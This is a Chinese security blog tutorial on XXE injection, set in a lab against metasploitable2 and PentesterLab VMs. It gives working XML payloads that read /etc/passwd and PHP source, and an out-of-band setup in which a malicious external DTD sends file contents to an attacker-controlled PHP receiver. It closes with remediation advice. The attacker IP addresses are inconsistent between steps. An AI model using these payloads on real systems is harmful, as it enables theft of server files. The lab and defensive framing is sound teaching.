浅谈 XXE 漏洞任意文件读取

浅谈 XXE 漏洞任意文件读取

0x00 前言

XXE Injection即 XML External Entity Injection,也就是XML外部实体注入攻击。通过XML实体,“SYSTEM” 关键词导致 XML 解析器可以从本地文件或远程 URL 中读取数据,所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。

危害如下:

  • 读取任意文件
  • DOS拒绝服务攻击
  • 代理扫描内网端口
  • 执行系统命令等

0x01 XML 基础知识

1.什么是XML

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。

XML 设计宗旨是传输数据,而非显示数据,各种应用程序之间数据传输中最常用的工具。

2.XML 语法

2.1 语法规则
  • 所有元素都有一个闭合标签
  • 可以自定义标签和自己的文档结构
  • XML对大小写敏感
  • XML 正确嵌套
  • XML 属性值必须加 “”
  • XML中注释:<!-- 注释内容-->
  • XML中,5个预定义实体引用,如下:
实体实体符号含义
&lt;<小于
&gt;>大于
&amp;&和号
&apos;单引号
&quot;‘’引号
2.2 XML 结构
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素                              

image-20210427173413627

2.3 XML DTD(文档类型定义)

文档类型定义(DTD)可以是内部声明也可以引用外部 DTD

  • 内部声明 DTD 格式:<!DOCTYPE 根元素 [元素声明]>
  • 引用外部 DTD 格式:<!DOCTYPE 根元素 [元素声明]>

在DTD中进行实体声明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通稳定或特殊字符的快捷方式的变量。实体可在内部或外部进行声明

  • 内部声明实体格式:<!ENTITY 实体名称 "实体的值">
  • 引用外部实体格式:<!ENTITY 实体名称 SYSTEM "URL">

3.XML 注入时的两大要素

  • 标签闭合
  • 获取 XML 表结构

0x02 XXE 漏洞攻击

1.XXE 漏洞演示

XXE 漏洞攻击的测试地址: http://11.23.0.141/xxe.php

靶机:metasploitable2

xxe.php 代码

<?php 
$xml=file_get_contents("php://input"); 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ;  
echo "</pre>" ; 
?> 

打开burpsuite 截断

image-20210428104326525

payload 如下

<?xml version="1.0" encoding="utf-8"?>  

<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "file:etc/passwd" >]> 
<root> 
<name>&xxe;</name> 
</root> 

在上面的代码中, XML 外部实体(外部实体在 XML 中被引用) xxe 被赋予的值为:file:///etc/passwd。在解析 XML 文档的过程中,实体 ‘xxe’ 的值会被替换为URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。 关键字 ‘SYSTEM’ 会告诉 XML 解析器,‘xxe’ 实体的值将从其后的 URI 中读取,并把读取的内容替换 xxe 出现的地方。

将 GET 请求修改为 POST 请求,添加payload

image-20210428105520833

2.读取 PHP 文件

修改 payload 读取 xxe.php 文件,代码如下;

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "file:///xxe.php" >]> 
<root> 
<name>&xxe;</name> 
</root> 

没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取

image-20210428112319257

修改 payload 代码如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ 
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]> 
<root> 
<name>&xxe;</name> 
</root> 

image-20210428112429047

php 文件经过 base64 加密之后就可以正常读取了,在 Kali 中使用 base64 进行解密获取文本内容。

使用 burpsuite 解码 base64 结果为
image-20210428112554281

0x03 XXE 漏洞代码分析

xxe.php 源码

<?php 
$xml=file_get_contents("php://input"); 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ;  
echo "</pre>" ; 
?> 

代码解释

1.file_get_contents()

https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp

file_get_contents() 函数吧整个文件读入一个字符串中。获取客户端输入的内容

image-20210428094239046

php://input #是个可以访问请求的原始数据的只读流。

结合 file_get_contents(“php://input”) 可以读取POST提交的数据,存入 $xml

2.simplexml_load_string 函数介绍

php 中的 simplexml_load_string 函数将xml 格式字符串转换为对应的simpleXMLElementObject

3.XXE 注入的思路

  1. file_get_contents(“php://input”)可以读取 POST 提交的数据
  2. 那么我们通过 POST 提交 XML 代码,
  3. XML 代码中引用外部 DTD,读取黑客想要的系统文件
  4. 通过 simplexml_load_string()函数显示数据。

即通过 simplexml_load_string()函数将 XML 代码和引用的系统文件转换成 SimpleXMLElementObject 格式打印出来,此时加载的系统文件也会被打印出来。

0x04 无回显文件读取

1.实验环境介绍

将PentesterLab的 .iso 镜像直接导入即可

安装 PentesterLab 虚拟机

image-20210428113913759

查看IP 地址

192.168.159.133

image-20210428172032588

2.实验拓扑

image-20210428164617353

实验环境描述:Kali 作为黑客并建立黑客接受和提交数据的Web 站点,PentesterLab 作为 sever被攻击端

3.Kali 服务器准备工作

需要建立一个外部的 DTD 文件,一个用于接受数据的 PHP 文件,以及存储数据的数据文件。

3.1 建立 DTD 外部实体文件
┌──(root💀fengzilin55)-[~]
└─# cd /var/www/html 
                                                                                                         
┌──(root💀fengzilin55)-[/var/www/html]
└─# vim test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd"> 
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.132/xxe.php?pass=%p1;'>">%p2; 

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。

3.2 建立 php 文件
┌──(root💀fengzilin55)-[/var/www/html]
└─# vim xxe.php 
<?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
3.3 创建存储数据的文件
┌──(root💀fengzilin55)-[/var/www/html]
└─# touch pass.txt  
3.4 修改文件权限
┌──(root💀fengzilin55)-[/var/www/html]
└─# chown -R www-data:www-data /var/www/html/*
3.5 启动 Apache2
┌──(root💀fengzilin55)-[/var/www/html]
└─# systemctl start apache2.service
3.6 测试 php 文件能够正常写入数据
┌──(root💀fengzilin55)-[/var/www/html]
└─# curl http://192.168.159.132/xxe.php?pass=1                                                                                                           ┌──(root💀fengzilin55)-[/var/www/html]
└─# cat pass.txt                              1   

image-20210428183857629

4. 进行 XXE 攻击

Kali 中停止截断:

image-20210428184428376

访问 PentesterLab 地址:http://192.168.159.133

image-20210428184838844

开启 burpsuite 进行截断

image-20210428184921881

直接点击登录,不需要输入用户名密码

image-20210428185353529

使用 bp 将 get 请求改为 post 请求

image-20210428190853123

payload 代码

<?xml version="1.0"?> 
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>

抓到的包修改以下内容

改:Content-Type: application/x-www-form-urlencoded 
为:Content-Type: text/xml

image-20210428190740909

去 kali 主机上查看

┌──(root💀fengzilin55)-[/var/www/html]
└─# cat pass.txt 

image-20210428190928685

0x05 XXE 漏洞修复建议

1.升级 libxml 版本

libxml 2.9.0以后,默认不解析外部实体,或者禁止使用外部实体.
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html

image-20210428191153442

2.代码层防御

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true); 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC。

0x06 总结

本章节学习了,XXE 的漏洞,以及介绍了 XML 是什么,以及无回显文件怎么读取的详细步骤

参考文档

https://www.freebuf.com/vuls/263348.html

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值